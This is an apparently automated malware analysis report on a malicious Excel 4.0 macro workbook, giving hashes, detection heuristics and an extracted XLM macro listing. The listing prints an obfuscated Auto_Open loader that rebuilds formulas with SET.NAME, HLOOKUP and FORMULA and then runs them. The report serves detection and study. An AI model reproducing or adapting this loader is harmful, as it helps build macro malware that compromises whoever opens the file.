Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed7a5181c9169f86…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:38 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: f4fd886fdd37187d46ae9317f4ff07b8 SHA-1: fb6c6b47c8b95eda440c5d98632ce0811bdb5a77 SHA-256: ed7a5181c9169f86abe1513d59f970adf4259169b9d4a12d444a388bcbc9ad9d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6644 bytes
SHA-256: 56fc01a66a8b2f63dd167402b688c5f9b727ebfa2c8041bb38efd9b89e6a45c3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yCUiGtAEQGk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B170 
' 0018     22 LABEL : Cell Value, String Constant - BMckKgq len=0 
' 0018     27 LABEL : Cell Value, String Constant - EjFVvulnnUKT len=0 
' 0018     20 LABEL : Cell Value, String Constant - eRwIp len=0 
' 0018     22 LABEL : Cell Value, String Constant - EYJWFmO len=0 
' 0018     25 LABEL : Cell Value, String Constant - FpLbrPjpaW len=0 
' 0018     22 LABEL : Cell Value, String Constant - iljgbWl len=0 
' 0018     26 LABEL : Cell Value, String Constant - jawLxzUKRIn len=0 
' 0018     23 LABEL : Cell Value, String Constant - MFxnXiCh len=0 
' 0018     22 LABEL : Cell Value, String Constant - mrQfqLS len=0 
' 0018     23 LABEL : Cell Value, String Constant - OzFretCK len=0 
' 0018     22 LABEL : Cell Value, String Constant - sfgEXcr len=0 
' 0018     25 LABEL : Cell Value, String Constant - tFHTFxtkdf len=0 
' 0018     21 LABEL : Cell Value, String Constant - tNRdbQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - TQpCKKqdTMQm len=0 
' 0018     23 LABEL : Cell Value, String Constant - tZmTrSdP len=0 
' 0018     22 LABEL : Cell Value, String Constant - WFKewVH len=0 
' 0018     25 LABEL : Cell Value, String Constant - xQLXTOetHH len=0 
' 0018     26 LABEL : Cell Value, String Constant - YWDbvPsxxqv len=0 
' 0018     22 LABEL : Cell Value, String Constant - zMULupY len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZwELpLKx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yCUiGtAEQGk,B81,"SET.NAME("tFHTFxtkdf",VALUE("0"))",""
'  yCUiGtAEQGk,B86,"SET.NAME("EjFVvulnnUKT",tFHTFxtkdf)",""
'  yCUiGtAEQGk,B88,"SET.NAME("tNRdbQ",tFHTFxtkdf)",""
'  yCUiGtAEQGk,B90,"SET.NAME("FpLbrPjpaW",COUNTA(xQLXTOetHH))",""
'  yCUiGtAEQGk,B92,"SET.NAME("ZwELpLKx",COUNTA(WFKewVH))",""
'  yCUiGtAEQGk,B95,[],""
'  yCUiGtAEQGk,B99,"SET.NAME("mrQfqLS","")",""
'  yCUiGtAEQGk,B103,"EjFVvulnnUKT",""
'  yCUiGtAEQGk,B105,"SET.NAME("MFxnXiCh",HLOOKUP("*",xQLXTOetHH,EjFVvulnnUKT,FALSE))",""
'  yCUiGtAEQGk,B107,"TQpCKKqdTMQm",""
'  yCUiGtAEQGk,B110,"SET.NAME("sfgEXcr",tFHTFxtkdf)",""
'  yCUiGtAEQGk,B113,[],""
'  yCUiGtAEQGk,B115,"sfgEXcr",""
'  yCUiGtAEQGk,B120,"YWDbvPsxxqv",""
'  yCUiGtAEQGk,B125,"OzFretCK",""
'  yCUiGtAEQGk,B128,"eRwIp",""
'  yCUiGtAEQGk,B133,"SET.NAME("zMULupY",VALUE(HLOOKUP("*",WFKewVH,eRwIp,FALSE)))",""
'  yCUiGtAEQGk,B135,"iljgbWl",""
'  yCUiGtAEQGk,B139,"mrQfqLS",""
'  yCUiGtAEQGk,B144,"tNRdbQ",""
'  yCUiGtAEQGk,B146,NEXT(),""
'  yCUiGtAEQGk,B151,"jawLxzUKRIn",""
'  yCUiGtAEQGk,B156,"SET.NAME("f",INT(T(FORMULA(T(mrQfqLS)&"",""&T(jawLxzUKRIn)))))",""
'  yCUiGtAEQGk,B159,"tZmTrSdP",""
'  yCUiGtAEQGk,B161,NEXT(),""
'  yCUiGtAEQGk,B165,RETURN(),""
'  yCUiGtAEQGk,B192,"SET.NAME("BMckKgq",B81)",""
'  yCUiGtAEQGk,B194,"xQLXTOetHH",""
'  yCUiGtAEQGk,B198,"SET.NAME("WFKewVH",R48C12)",""
'  yCUiGtAEQGk,B201,"SET.NAME("tZmTrSdP",207)",""
'  yCUiGtAEQGk,B203,"SET.NAME("EYJWFmO",2)",""
'  yCUiGtAEQGk,B206,BMckKgq(),""
'  yCUiGtAEQGk,B207,HALT(),""

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